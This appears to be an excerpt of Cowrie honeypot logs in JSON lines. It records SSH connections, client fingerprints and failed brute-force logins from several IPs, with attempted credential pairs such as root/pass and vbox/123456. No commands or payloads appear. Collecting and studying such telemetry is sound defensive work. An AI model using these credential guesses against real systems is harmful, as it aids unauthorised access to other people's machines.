{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003\u018dQ\\xed|\\xef4\\xc2</\\xf9\\xb1\\xa3\\xb77\\xe3\\x99]^\\xf1v\\x8b\\xf6F\\x98\\xccu\\x9c\\x8ek\u0011\\xb2\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","message":"Remote SSH version: \u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003\u018dQ\\xed|\\xef4\\xc2</\\xf9\\xb1\\xa3\\xb77\\xe3\\x99]^\\xf1v\\x8b\\xf6F\\x98\\xccu\\x9c\\x8ek\u0011\\xb2\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:24:44.446520Z","src_ip":"65.49.1.182","session":"c61d70817b8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:24:44.448623Z","src_ip":"65.49.1.182","session":"c61d70817b8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:24:44.649833Z","src_ip":"45.156.87.147","session":"3b9079210a0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":49400,"dst_ip":"10.17.0.5","dst_port":22,"session":"138badb42ac0","protocol":"ssh","message":"New connection: 45.156.87.147:49400 (10.17.0.5:22) [session: 138badb42ac0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:24:49.296320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:24:49.304010Z","src_ip":"45.156.87.147","session":"138badb42ac0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:24:49.380632Z","src_ip":"45.156.87.147","session":"138badb42ac0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pass","message":"login attempt [root/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:24:49.706076Z","src_ip":"45.156.87.147","session":"138badb42ac0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:24:50.800567Z","src_ip":"45.156.87.147","session":"138badb42ac0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":49406,"dst_ip":"10.17.0.5","dst_port":22,"session":"9774973fbf2b","protocol":"ssh","message":"New connection: 45.156.87.147:49406 (10.17.0.5:22) [session: 9774973fbf2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:24:55.519725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:24:55.523177Z","src_ip":"45.156.87.147","session":"9774973fbf2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:24:55.601464Z","src_ip":"45.156.87.147","session":"9774973fbf2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vbox","password":"123456","message":"login attempt [vbox/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:24:55.922558Z","src_ip":"45.156.87.147","session":"9774973fbf2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:24:57.103968Z","src_ip":"45.156.87.147","session":"9774973fbf2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":49842,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e3a6818a7ea","protocol":"ssh","message":"New connection: 45.156.87.147:49842 (10.17.0.5:22) [session: 6e3a6818a7ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:01.630198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:01.636457Z","src_ip":"45.156.87.147","session":"6e3a6818a7ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:01.716299Z","src_ip":"45.156.87.147","session":"6e3a6818a7ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"rootroot","message":"login attempt [ubuntu/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:02.236831Z","src_ip":"45.156.87.147","session":"6e3a6818a7ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:03.322015Z","src_ip":"45.156.87.147","session":"6e3a6818a7ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":49854,"dst_ip":"10.17.0.5","dst_port":22,"session":"64da7f93fdd7","protocol":"ssh","message":"New connection: 45.156.87.147:49854 (10.17.0.5:22) [session: 64da7f93fdd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:07.895818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:07.903225Z","src_ip":"45.156.87.147","session":"64da7f93fdd7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:07.991844Z","src_ip":"45.156.87.147","session":"64da7f93fdd7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"home","password":"root","message":"login attempt [home/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:08.246882Z","src_ip":"45.156.87.147","session":"64da7f93fdd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:09.335229Z","src_ip":"45.156.87.147","session":"64da7f93fdd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.235.114","src_port":57108,"dst_ip":"159.203.135.109","dst_port":22,"session":"02171938c08c","protocol":"ssh","message":"New connection: 103.189.235.114:57108 (159.203.135.109:22) [session: 02171938c08c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:10.056483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:10.060969Z","src_ip":"103.189.235.114","session":"02171938c08c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:10.310395Z","src_ip":"103.189.235.114","session":"02171938c08c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"don","password":"don123","message":"login attempt [don/don123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:11.334386Z","src_ip":"103.189.235.114","session":"02171938c08c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:12.584435Z","src_ip":"103.189.235.114","session":"02171938c08c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.79270076751709,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:14.221653Z","src_ip":"102.37.220.188","session":"8cf348dbacbb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":60668,"dst_ip":"10.17.0.5","dst_port":22,"session":"1eaea806f0cc","protocol":"ssh","message":"New connection: 45.156.87.147:60668 (10.17.0.5:22) [session: 1eaea806f0cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:14.335939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:14.340041Z","src_ip":"45.156.87.147","session":"1eaea806f0cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:14.420841Z","src_ip":"45.156.87.147","session":"1eaea806f0cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gd","password":"gd","message":"login attempt [gd/gd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:14.672977Z","src_ip":"45.156.87.147","session":"1eaea806f0cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:15.759337Z","src_ip":"45.156.87.147","session":"1eaea806f0cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":52568,"dst_ip":"10.17.0.5","dst_port":22,"session":"d71252e77b04","protocol":"ssh","message":"New connection: 45.156.87.147:52568 (10.17.0.5:22) [session: d71252e77b04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:20.815762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:20.820783Z","src_ip":"45.156.87.147","session":"d71252e77b04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:20.909308Z","src_ip":"45.156.87.147","session":"d71252e77b04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"manoj","password":"manoj123","message":"login attempt [manoj/manoj123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:21.261118Z","src_ip":"45.156.87.147","session":"d71252e77b04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":34428,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf0511d8b8ab","protocol":"ssh","message":"New connection: 194.113.233.25:34428 (159.203.135.109:22) [session: cf0511d8b8ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:21.683177Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:21.687306Z","src_ip":"194.113.233.25","session":"cf0511d8b8ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:21.776120Z","src_ip":"194.113.233.25","session":"cf0511d8b8ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"09101988","message":"login attempt [root/09101988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:22.047591Z","src_ip":"194.113.233.25","session":"cf0511d8b8ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:25:22.347291Z","src_ip":"45.156.87.147","session":"d71252e77b04","protocol":"ssh"}
